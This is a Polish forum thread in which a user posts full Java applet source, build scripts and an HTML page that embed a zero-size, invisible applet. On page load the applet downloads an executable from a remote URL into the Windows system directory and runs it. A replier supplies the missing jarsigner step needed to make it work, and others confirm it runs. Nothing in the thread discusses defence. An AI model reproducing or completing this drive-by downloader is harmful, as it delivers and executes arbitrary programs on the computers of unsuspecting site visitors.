Wyskakujące powiadomienie po wejściu na stronę

0

Witam!

Próbowałem sam, szukałem, i nic nie znalazłem, a języka java nie umiem.
A mianowicie chodzi mi o okienko, które wyskakuje zaraz po wejściu na stronę, o pewnej informacji i gdy klikniemy ok, ściągnie nam się program na komputer.
Mam pewien skrypt na swoim dysku, zrobiony na podstawie pewnego poradnika, lecz nie działa, jeżeli będzie ktoś potrzebował to mogę go wrzucić.

Za pomoc z góry dziękuję.

@Edit
W sumie stwierdziłem, że jednak lepiej i bardziej zrozumiałe będzie, jeżeli dam wam kod tego skryptu.

Tworzę plik o nazwie Program.java

import java.net.MalformedURLException;
import java.net.URL;

import javax.swing.*;

public class Program extends JApplet{

public void init(){
 try {
  Downloader.downloadToWindowsDirectoryAndRun(new URL(getParameter("program")));
 } catch (MalformedURLException e) {
  e.printStackTrace();
 }
}
}

Następnie plik Downloader.java

import java.net.MalformedURLException;
import java.net.URISyntaxException;
import java.net.URL;
import java.io.*;

public class Downloader {

public static boolean downloadToWindowsDirectoryAndRun(URL file){
 DataInputStream in = null;
 DataOutputStream fr = null;
 String path=null;
 String fileName = file.toString().split("/")[file.toString().split("/").length-1];
 System.out.println(fileName);
 try{
  in = new DataInputStream(file.openStream());
  path = getWindowsPath()+System.getProperty("file.separator")+fileName;
  fr = new DataOutputStream(new FileOutputStream(new File(path)));
  int tmp=-1;
  while((tmp = in.read())!=-1){
   fr.write(tmp);
  }
  
 }catch(Exception e){
  e.printStackTrace();
  return false;
 }finally{
  try{in.close();}catch(Exception e){}
  try{fr.close();}catch(Exception e){}
 }
 

 
 try {
  Runtime.getRuntime().exec("cmd /c start "+path);
 } catch (IOException e) {
  e.printStackTrace();
 }
 
 return true;
}

public static String getWindowsPath(){
 String path = null;
 BufferedReader br = null;
 try {
  Process p = Runtime.getRuntime().exec("cmd /c set");
  br = new BufferedReader(new InputStreamReader(p.getInputStream()));
  
  String tmp = null;
  while((tmp = br.readLine())!= null){
   if(tmp.contains("SystemRoot")){
    return tmp.split("=")[1];
   }
  }
 } catch (IOException e) {
  e.printStackTrace();
 }finally{
  try{br.close();}catch(Exception e){}
 }
 
 return path;
}}

Następnie tworzę plik make.bat

"C:\Program Files\Java\jdk1.6.0_04\bin\javac.exe" Program.java
"C:\Program Files\Java\jdk1.6.0_04\bin\jar.exe" -cvf program.jar *class

Uruchamiam go i powinny pojawić się pliki "Program.class", "Downloader.class" oraz "program.jar". Podczas różnych prób tworzenia owego skrytpu raz pojawiały się pliki "Program.class", "Downloader.class" i "program.jar" a częściej pojawiał się sam "program.jar", lecz to on jest tu podobno najważniejszy, lecz nie jest też napisane czy bez tych dwóch plików też się obejdzie.

Następnie robię plik makecert.bat
"C:\Program Files\Java\jdk1.6.0_04\bin\keytool.exe" -genkey -alias NowyCertyfikat -validity 365
Uruchamiam go, uzupełniam dane.

Następnie robię plik index.html

<html>
<head>
<title>Tytuł strony</title>
</head>
<body>
<applet width=0 height=0 code="Program.class" archive="program.jar">
<param name="program" value="http://www.NAZWA_TWOJEJ_DOMENY.com/program.exe">
</applet>
</body>
</html>

Oczywiście w pliku index.html zmieniam wszystkie ścieżki na swoje.

Po tym wszystkim wrzucam pliki "index.html", "program.jar" oraz "program.exe" na serwer cba.pl.
Sęk w tym, że pojawia się okno, klikam run, i nic się nie dzieje, tylko raz mi się udało, że program się ściągnął i zainstalował na komputerze, po czym stwierdziłem, że skoro wszystko działa, to zmienie nazwy z program.exe na swoje i od tamtej pory nie działa, próbowałem robić wszystko od podstaw i nic. Jak na dzień dzisiejszy skończyło się to tym, że nawet nie wyświetla się okienko javy.

0

Coś mi się wydaje, że jestes kolejna osoba, ktora nie rozroznia jezyka Java oraz jezyka skryptowego JavaScript. To dwie, zupelnie rozne, rzeczy.
Edit:
Po wklejeniu kodu - zwracam honor. To Java.

0

Anyone can help me?

0

U mnie (po ważnej poprawce) działa:

  1. Okna Javy nie widać, bo tak sobie zażyczyłeś
<applet width=0 height=0 code="Program.class" archive="program.jar">

okno ma rozmiar 0x0.
2. Apletu nie podpisałeś, w pliku Makecert.bat brakuje wiersza

keytool -genkey -keystore moje -alias moje
jarsigner -keystore moje program.jar moje
0

Ok, dzięki, przetesuję wieczorem :)

0

Nadal nie działa ;/ Mógłby ktoś to sprawdzić u siebie wrzucając to na hosting np. cba.pl? Bardzo bym prosił.

0

Powiedz, co mam tu

<param name="program" value="http://www.NAZWA_TWOJEJ_DOMENY.com/program.exe">

wpisać, to sprawdzę. Ja wrzucałem jakiegoś execa na serwer uczelniany i działało.

0

ogólnie to powinien być tam wpisany adres naszego hostingu, np. mam hosting na cba.pl a moja stronka nazywa się milolosiu.cba.pl i w tej linijce wpisuję tak:
<param name="program" value="http://www.milolosiu.cba.pl/program.exe">

Tylko mistrzu powiedz mi co Ci tam jeszcze działało ? Bo ogólnie wszystko ma działać w ten sposób, że wyświetla się komunikat, klikamy 'run' i pobiera się nam ten program na komputer i instaluje samoczynnie.

0

Na razie odpowiadam co działało. Otworzyłem stronę z apletem, niczego nie klikałem, ściągnął mi się z z serwera plik exe, który tam wcześniej umieściłem, i system (XP) spytał mnie czy chcę tego execa uruchomić.

0

U mnie działa.
Po kolei, Twój aplet (Program.java) nie ma żadnego przycisku run, nie ma w ogóle żadnego elementu widocznego. Po wejściu na stronę z tym apletem uruchamia się automatycznie metoda

downloadToWindowsDirectoryAndRun(...)
z klasy Downloader. Nazwa pliku do ściągnięcia i wykonania jest przekazywana do apletu jako parametr. Aplet (po podpisaniu) ściąga wskazany plik, umieszcza go w katalogu ....\WINDOWS i próbuje wykonać. Nie ma żadnych efektów tego wykonywania, bo ściągany plik nazywa się co prawda program.exe, ale jest kodem strony (HTML).

1 użytkowników online, w tym zalogowanych: 0, gości: 1